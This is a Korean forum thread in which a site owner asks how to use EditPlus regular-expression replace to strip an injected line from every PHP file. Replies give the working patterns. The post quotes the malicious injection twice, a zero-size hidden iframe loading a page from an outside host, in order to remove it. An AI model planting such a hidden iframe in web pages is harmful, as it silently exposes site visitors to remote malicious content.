에디터플러스 사용법 질문좀 드려도 될런지..

· 15년 전 · 2932 · 6
그누보드질문이 아니라 질답게시판에 질문드리기도 그렇고 sir밖에 몰라 이렇게 글드리게되었습니다. 게시판에 맞지 않는글이라면 자삭하겠습니다. 죄송합니다.

얼마전 악성코드때문에 고생하다 안되서 노가다로 코드를 지워가고 있습니다.
<?ob_start();?><iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe>

이런 문구가 파일마다 제일 최상단에 있는데.. 에디터플러스로 바꾸기를 사용해서 해당문구를 아무글없이 바꿨습니다. 그런데 문제가 맨윗줄에 있다보니 뭐 빈공간이 생겨 사이트에 또 문제가 생깁니다.

1줄: <?ob_start();?><iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe>
2줄: <?php

이런식인데 1줄의 글을 바꾸면
1줄: 공백
2줄: <?php

이렇게 첫줄이 공백이되서 문제가 됩니다.
1줄에 있는 문구를 찾아서 삭제되게 하되 2줄이 첫째줄로 땡기는 방법은 어떻게 해야할지..
초보를 위해 한줄 빛을 내려주세요...ㅠㅜ

 

|

댓글 6개

에디터플러스에서 Ctrl + H (or 치환하기메뉴)를 불러오셔서
아래쪽옵션들중 '정규표현식' 체크하시고
찾는말을 \r\n<?로, (반드시 이스케이프용 문자인 \를 쓰셔야합니다)
바꿀말을 <? 으로 해보세요.

---------------------------
저걸로 안되실경우 \r 을 지워보세요
답변주셔서 정말 감사드립니다. 그런데..
바꾸기에서 \r\n<? 를 했더니 맨뒤가 r이고 공백인 곳만 지정이 됩니다.
맨위한줄이 공백이고 다음줄에 있는것이 <?인것을 찾아야되는데.. 다음줄에 있는것은 찾지를 못합니다.
\n<? 만했을때는 공백이 있는곳만 전부 찾지 공백뒤에 <?는 있나없나 상관없이 공백만 찾습니다..ㅠㅜ
아 그렇군요 ㅎㅎ 그럼 이렇게 해보세요
찾는말 : \n<\? (\n 앞에스페이스바로 띄워주세요)
바꿀말 :<?
엔피씨님 정말 감사감사드립니다.. 됩니다.. 감격스러운~~ 노가다로 열심히 하고 있었는데 하루는 시간이 당겨진 느낌입니다. 초보에게 엔피씨님 같은 분이 계셔서 얼마나 감사드리는지 모릅니다. 감사드리고 또 감사드립니다^^~~
UTF8이시면 저장방식을 UTF-8+BOM말고 UTF-8로 해보세요
닥본사님 답변감사드립니다. 그런데 EUC-KR 입니다. 어찌해야할지...

댓글 작성

댓글을 작성하시려면 로그인이 필요합니다.

로그인하기
🐛 버그신고